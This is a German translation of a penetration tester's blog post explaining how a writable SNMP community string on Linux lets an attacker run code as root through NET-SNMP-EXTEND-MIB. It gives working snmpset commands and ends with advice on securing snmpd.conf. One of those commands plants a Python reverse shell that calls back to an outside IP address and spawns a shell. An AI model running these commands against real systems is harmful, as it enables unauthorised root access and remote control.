Per Linux SNMP zu Remote Code Execution (RCE)
Wie ein SNMP Write Community String auf Linux Systemen dazu verwendet werden kann um eigenen Code mit Root-Rechten auszuführen
- Name
- Timo Müller
Dies ist eine übersetzte Version. Das englische Original finden Sie hier.
TL:DR: Wenn Angreifer über einen SNMP-Community mit Write-Berechtigungen für ein Linux-Ziel zugreifen können ist über die NET-SNMP-EXTEND-MIB-Erweiterung das Ausführen von eigenem Code möglich. Der SNMP-Diest läuft mit root Rechten, weshalb dies auch zur Erhöhung von lokalen Rechten genutzt werden kann.
Wir haben diese Funktion kürzlich bei einem Assessment verwendet, um uns Root-Rechte auf einem Zielsystem zu verschaffen. Das verwendete Linux-System wurde zuvor bereits mehrfach analysiert, weshalb wir annehmen, dass dieser Angriffsvektor bei anderen Penetrationstestern nicht so bekannt ist.
Wie so oft sind wir nicht die Ersten, die dieses Problem identifizierten, es gibt bereits einen Writeup von Kert Ojasoo. In diesem Blogbeitrag versuchen wir, den technischen Hintergrund zu erläutern demonstrieren wie eine solche Konfiguration effizient ausgenutzt werden kann.
Wir gehen davon aus, dass die Leser grundlegende Kenntnisse über das SNMP-Protokoll sowie gängige SNMP-bezogene Angriffe wie beispielsweise “öffentliche” Community-Strings besitzen. Daher behandeln wir hier nur die für den Angriff relevanten Grundlagen.
SNMP MIBs
Der Begriff “MIB” steht für “Management Information Base”. Eine MIB-Datei definiert alle Datenobjekte, die von einer bestimmten Komponente bereitgestellt werden. MIBs funktionieren als eine Art Codebuch für SNMP, da sie beschreiben worauf per SNMP zugegriffen werden kann und welche Datentypen von der Komponente zurückgegeben werden.
Eine MIB wird in einer Textdatei beschrieben, wobei eine Notation verwendet wird, die in Structure of Management Information Version 2.0 definiert ist. Diese Textdatei kann von einem MIB-Compiler verwendet werden. Wer sich eine Vorstellung davon machen möchte, kann sich die von MIBs ansehen die vom net-snmp-Paket unterstützten MIBs ansehen.
Die MIB-Datei definiert auch die OIDs (eine ID für den Zugriff auf das Asset, vergleichbar mit einer IP-Adresse). Übe den Befehl “snmptranslate” ist es möglich die OID für ein in der MIB definiertes Element zu erhalten:
[lowpriv@centos6 ~]$ snmptranslate -On SNMPv2-MIB::system.sysUpTime.0
.1.3.6.1.2.1.1.3.0
Als SNMP-Manager (z. B. bei der Verwendung von snmpwalk) benötigen man MIB eigentlich nicht, da Sie jederzeit über die OID auf einen Wert zugreifen können. Eine MIB hilft jedoch dabei SNMP-Antworten zu verstehen die Sie von Ihren Netzwerkgeräten erhalten haben.
Erweitern von SNMP Diensten
Der SNMP-Dienst kann auf verschiedene Weise erweitert werden, eine Möglichkeit sind die Funktionen, die von MIB “NET-SNMP-EXTEND-MIB” bereitgestellt werden. Aus der RedHat Linux Documentation:
The Net-SNMP Agent provides an extension MIB (NET-SNMP-EXTEND-MIB) that can be used to query arbitrary shell scripts. To specify the shell script to run, use the extend directive in the /etc/snmp/snmpd.conf file. Once defined, the Agent will provide the exit code and any output of the command over SNMP.
Durch den Aufruf der NET-SNMP-EXTEND-MIB über SNMP ist es also möglich, beliebige Skripte/Programme auf dem Server aufzurufen. Da der SNMP-Dienst als root läuft, wird das Skript mit entsprechenden Rechten ausgeführt.
Hier ein kleines Beispielskript, das wir per SNMP aufrufen werden:
#!/bin/sh
who=`whoami`
echo "Executed via SNMP, running as $who"
echo "First argument: $1"
Das Format des “extend” Befehls in der snmpd.conf ist wie folgt:
extend name prog args
Beispiel:
extend mogwai_labs /bin/snmpscript.sh test123
Der SNMP Dienst muss neu gestartet werden um die modifzierte Konfiguration zu laden. Danach können wir die Ausgabe der neuen Erweiterung per snmpwalk durch Abfrage der NET-SNMP-EXTEND-MIB MIB abrufen. Die Standardausgabe von snmpwalk enthält diese Informationen standardmäßig nicht.
[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."mogwai_labs" = STRING: /bin/snmpscript.sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."mogwai_labs" = STRING: test123
NET-SNMP-EXTEND-MIB::nsExtendInput."mogwai_labs" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."mogwai_labs" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."mogwai_labs" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."mogwai_labs" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."mogwai_labs" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."mogwai_labs" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."mogwai_labs" = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."mogwai_labs" = STRING: Executed via SNMP, running as root
First argument: test123
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."mogwai_labs" = INTEGER: 2
NET-SNMP-EXTEND-MIB::nsExtendResult."mogwai_labs" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".1 = STRING: Executed via SNMP, running as root
NET-SNMP-EXTEND-MIB::nsExtendOutLine."mogwai_labs".2 = STRING: First argument: test123
Wie man sieht wurde das Skript als root ausgeführt und wir können die vollständige Konsolenausgabe abrufen. Die Ausgabe von snmpwalk kann hier etwas irreführend sein, man sieht hier die Tabelle “nsExtendObjects”, die momentan nur eine einzige Zeile enthält.
Ausnutzen von NET-SNMP-EXTEND-MIB
Wenn man die Dokumentation von RedHat oder net-snmp liest, könnte man annehmen, dass man den SNMP-Dienst nur durch Änderung der Konfigurationsdatei erweitern kann. Das ist jedoch nicht ganz richtig. Während man bestehende Einträge, die innerhalb der snmpd.conf Konfiguration gesetzt wurden, nicht ändern kann ist es möglich zusätzliche Befehle per SNMP hinzuzufügen. Das funktioniert, da die “MAX-ACCESS”-Berechtigungseinstellung in der MIB-Definition auf “read-create” gesetzt ist und auch was durch das Lesen des Quellcodes bestätigt wird. Dies erlaubt es beliebige Befehle über SNMP zu definieren und auszuführen, solange die entsprechenden Berechtigungen (also beispielsweise ein rw-community String) vorhanden sind.
Die Konfiguration eines neuen Befehls funktioniert im Wesentlichen durch Anfügen einer zusätzlichen Zeile in der Tabelle “nsExtendObjects”. Im Gegensatz zu SQL verfügt SNMP über kein INSERT-Statement, hier muss die Eigenschaft “nsExtendStatus” auf den Wert “createAndGo” gesetzt werden.
Hier ist ein Beispiel, wie das per “snmpset” gemacht wird. NET-SNMP-EXTEND-MIB setzt die Verwendung eines absoluten Pfades voraus. Das aufgerufene Skript/Programm muss zudem existieren und ausführbar sein:
[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
Im Anschluss daran ist der Aufruf per snmpwalk möglich, genauso wie ein Befehl der in der snmpd-Konfigurationsdatei konfiguriert wurde:
[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost nsExtendObjects | grep "evilcommand"
NET-SNMP-EXTEND-MIB::nsExtendCommand."evilcommand" = STRING: /bin/echo
NET-SNMP-EXTEND-MIB::nsExtendArgs."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendInput."evilcommand" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."evilcommand" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."evilcommand" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."evilcommand" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."evilcommand" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."evilcommand" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."evilcommand" = STRING: hello world
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."evilcommand" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."evilcommand" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."evilcommand".1 = STRING: hello world
Im Gegensatz zum fest innerhalb der Konfiguration gesetzten Skript ist es bei diesem neuen Eintrag möglich Werte nachträglich zu modifizieren. Hierdurch kann beispeilsweise die übergebenen Argumente oder das aufgerufene Skript selbst geändert werden.
[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendArgs."evilcommand"' = 'modified argument'
Wenn man das Skript nicht länger benötigt, kann man die Zeile durch das Setzen von “nsExtendStatus” auf “destroy” löschen, ähnlich wie eine SQL DELETE Anfrage.
[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = destroy
NsExtendExecType
NET-SNMP-EXTEND-MIB unterscheidet zwischen der Ausführung von Skripten und Programmen. Skripte werden an den “system()"-Aufruf übergeben, während Programme per execve() gestartet werden. Diese Einstellung wird über “NsExtendExecType” kontrolliert, die MIB-Definition führt hier zwei gültige Werte auf:
nsExtendExecType OBJECT-TYPE
SYNTAX INTEGER
{ exec (1), -- 'fork-and-exec'
shell (2) -- run via a sub-shell
}
Die meiste Zeit sollte die Verwendung des nsExtendExecType “exec” (1) klappen. Wenn man die “Shell”-Variante (2) verwendet muss man beachten das net-snmp bereits Pipes zur Umleitung der Ein-/Ausgabe verwendet, daher kann man hier die gängigen “One-Liner Reverse Shells in Bash” nicht eins zu eins verwenden. Die Perl/Python Reverse Shells funktionieren jedoch ohne Anpassungen.
Hier ein Beispiel, wie man eine Python basierende Reverse Shell mit per snmpset konfiguriert:
[lowpriv@centos6 ~]$ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /usr/bin/python \
'nsExtendArgs."evilcommand"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.239.210\",8888));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
UCD-SNMP-MIB
Das net-snmp-Paket erlaubt auch die Verwendung der “ucdavis”-MIB UCD-SNMP-MIB. Wie NET-SNMP-EXTEND-MIB bietet es eine Tabelle (“extTable”), die den Zugriff auf die Ausgabe externer Skripte erlaubt. Ähnlich wie bei der “extend”-Version werden die Skripte/Programme werden in der snmpd.conf per “exec” definiert.
exec echotest /bin/echo hello world
Die Ausgabe des Programms kann über die UCD-SNMP-MIB::extTable (OID .1.3.6.1.4.1.2021.8) abgerufen werden.
[lowpriv@centos6 ~]$ snmpwalk -v2c -c c0nfig localhost UCD-SNMP-MIB::extTable
UCD-SNMP-MIB::extIndex.1 = INTEGER: 1
UCD-SNMP-MIB::extNames.1 = STRING: echotest
UCD-SNMP-MIB::extCommand.1 = STRING: /bin/echo hello world
UCD-SNMP-MIB::extResult.1 = INTEGER: 0
UCD-SNMP-MIB::extOutput.1 = STRING: hello world
UCD-SNMP-MIB::extErrFix.1 = INTEGER: noError(0)
UCD-SNMP-MIB::extErrFixCmd.1 = STRING:
Anders als die NET-SNMP-EXTEND-MIB-Tabelle ist diese Tabelle bzw. dieses Objekt nicht schreibbar, daher kann diese nicht für Angriffe verwendet werden.
Zusammenfassung
Ein SNMP-Benutzer/Community-String mit Schreibrechten auf einem Linux-Zielsystem ermöglicht es beliebigen Code auf diesem System mit “root” Rechten auszuführen. SNMP wird in Linux-Umgebungen nur selten zur Systemkonfiguration verwendet (vor allem, wenn Tools wie Puppet oder Ansible genutzt werden), weshalb Schreibrechte recht ungewöhnlich sind. Wenn vorhanden bieten sie eine guten Ansatz für Angreifer um das System zu kompromittieren oder die Rechte zu erweitern.
Die SNMP-Konfigurationsdatei (/etc/snmpd.conf) sollte nur vom Nutzer root lesbar sein, wir hatten bei Penetrationstests jedoch schon mehrere Fälle, bei denen diese Datei für die ganze Welt lesbar war. Überprüfen Sie bei daher unbedingt die Zugriffsberechtigungen dieser Datei und die darin konfigurierten Benutzer-/Community-Strings.
Vielen Dank an Michał Parzuchowski bei Unsplash für das Titelbild.